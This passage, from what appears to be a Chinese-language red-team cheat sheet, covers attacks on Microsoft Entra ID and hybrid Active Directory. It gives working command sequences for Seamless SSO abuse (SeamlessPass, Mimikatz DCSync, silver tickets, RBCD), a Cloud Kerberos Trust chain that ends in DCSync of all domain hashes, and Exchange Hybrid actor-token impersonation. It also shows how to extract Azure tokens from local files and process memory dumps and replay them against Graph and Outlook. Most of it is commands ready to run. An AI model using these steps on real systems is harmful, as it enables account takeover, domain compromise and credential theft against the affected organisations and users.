#    - 设置 Cookie：ESTSAUTHPERSISTENT = <stolen_value>
#    - 刷新页面 → 直接以受害者身份登录

---

Seamless SSO

原理

Seamless SSO 在本地 AD 中创建 AZUREADSSOACC$ 计算机账户，其密码以明文发送给 Entra ID。域内机器的浏览器自动将 Kerberos 票据发送到 https://autologon.microsoftazuread-sso.com 实现无缝登录。该账户密码永不更换。

攻击方式一：SeamlessPass 一键利用

# 使用受害者的 TGT
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
# 使用受害者的 TGS
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# 使用受害者的密码/哈希
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm <hash>
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -password <password>
# 使用 AZUREADSSOACC$ 哈希冒充任意用户
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <user_SID>
seamlesspass -tenant corp.com -adssoacc-aes <aes_key> -domain-sid <domain_SID> -user-rid <RID>

攻击方式二：银票伪造

# 1. 提取 AZUREADSSOACC$ 哈希
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'

# 2. 获取目标用户的 SID
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# 3. 伪造银票
Invoke-Mimikatz -Command '"kerberos::golden /user:<target_user> /sid:<domain_SID> /id:<user_RID> /domain:domain.local /rc4:<azureadssoacc_hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'

攻击方式三：RBCD（Resource Based Constrained Delegation）

当拥有对 AZUREADSSOACC$ 的 WriteDACL/GenericWrite 权限时：

# 1. 创建受控机器账户
python3 addcomputer.py DOMAIN/user:'Password'@<DC_IP> -computer ATTACKBOX$ -password S3cureP@ss

# 2. 配置 RBCD
python3 rbcd.py DOMAIN/user:'Password'@<DC_IP> ATTACKBOX$ AZUREADSSOACC$

# 3. 为任意用户伪造 TGS
python3 getST.py -dc-ip <DC_IP> -spn HTTP/autologon.microsoftazuread-sso.com \
  -impersonate <target_user> DOMAIN/ATTACKBOX$ -hashes :<machine_hash>

使用银票配合浏览器

Firefox 配置：about:config 中设置 network.negotiate-auth.trusted-uris 为 https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com，启用 Windows SSO 后访问 login.microsoftonline.com，输入用户名后按 TAB/Enter 即自动认证。

注意：银票不绕过 MFA。

---

Cloud Kerberos Trust

原理

Cloud Kerberos Trust 在 AD 中创建 AzureADKerberos$ RODC 账户和 krbtgt_AzureAD 账户。Entra ID 持有这些账户的密钥，可为 AD 用户签发 Partial TGT。默认情况下，Domain Admins 等高权限组在 RODC deny 策略中被阻止。

完整攻击链（Cloud→AD Domain Admin）

前置条件：

• Cloud Kerberos Trust 已启用
• Global Admin 或 Hybrid Identity Admin 权限
• 至少一个混合用户账户
• 目标 AD 账户不在 RODC deny 策略中（如 MSOL 同步账户）

# 1. 获取 Sync API 访问令牌
roadtx gettokens -u <GA_UPN> -p <Password> --resource aadgraph

# 2. 修改混合用户的 onPremisesSID 和 SAMAccountName 指向目标
python3 modifyuser.py -u <GA_UPN> -p <Password> \
  --sourceanchor <ImmutableID_of_HybridUser> \
  --sid <Target_AD_SID> --sam <Target_SAM>
# Azure AD Graph 正常不允许修改这些属性，但 Sync API 允许 GA 调用

# 3. 获取包含 Partial TGT 的 PRT
roadtx getprt -u <HybridUser_UPN> -p <Password> -d <DeviceID_or_Cert>
# 输出 .prt 文件包含 Partial TGT 和 Session Key

# 4. 在 DC 上将 Partial TGT 换为 Full TGT
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# 使用 KERB-KEY-LIST-REQ 扩展提取目标账户的 NTLM 哈希

# 5. 使用目标账户（如 MSOL 同步账户）执行 DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>
# 获取全域哈希，包括 KRBTGT → Domain Admin

清理：下次 Azure AD Connect 同步周期会自动还原被修改的属性。但攻击者此时已完成 DCSync，拥有全域控制权。

---

Exchange Hybrid 模拟（ACS Actor Tokens）

原理

旧版 Exchange Hybrid 设计中，本地 Exchange 与 Exchange Online 共享同一 Entra 应用身份。攻击者从本地 Exchange 服务器提取 Hybrid 证书私钥后，可通过 OAuth client-credentials 流程获取 First-party Token。

攻击路径

• Federation 配置篡改：Exchange Token 历史上有权限修改域/联合设置，包括 Token Signing 证书列表
• ACS Actor Token 模拟：使用 trustedfordelegation=true 的 Actor Token 嵌入目标用户身份，实现对 Exchange Online 和 SharePoint/OneDrive 的用户模拟（约 24 小时有效）

当前状态

• graph.windows.net 的模拟路径已被修补
• Exchange/SharePoint 模拟在未完成服务身份分离迁移的环境中仍有效
• 微软的长期缓解方案是分离本地和 Exchange Online 的 SP 身份

检测信号

审计事件中出现身份不匹配：UPN 对应被模拟用户，但显示名/来源上下文指向 Exchange Online 活动。

---

本地云凭据提取

Azure CLI 凭据

# Access Token（明文 JSON）
type C:\Users\<user>\.Azure\accessTokens.json
# 订阅信息
type C:\Users\<user>\.Azure\azureProfile.json
# 错误日志中可能包含嵌入的凭据
dir C:\Users\<user>\.Azure\ErrorRecords\

Azure PowerShell 凭据

# Token 缓存
C:\Users\<user>\.Azure\TokenCache.dat
# Service Principal Secret（明文）
type C:\Users\<user>\.Azure\AzureRmContext.json

进程内存中的 JWT Token

同步云端的 Microsoft 应用（Excel、Teams 等）可能在内存中以明文存储 Access Token：

# 1. 转储目标进程内存
procdump64.exe -ma <PID> excel.dmp
# 2. 搜索 JWT Token
strings excel.dmp | grep 'eyJ0'
# 3. 验证 Token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
# 4. 访问邮件
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

自动化工具

• WinPEAS：自动搜索上述所有凭据位置
• Get-AzurePasswords.ps1（MicroBurst）：专项 Azure 凭据收集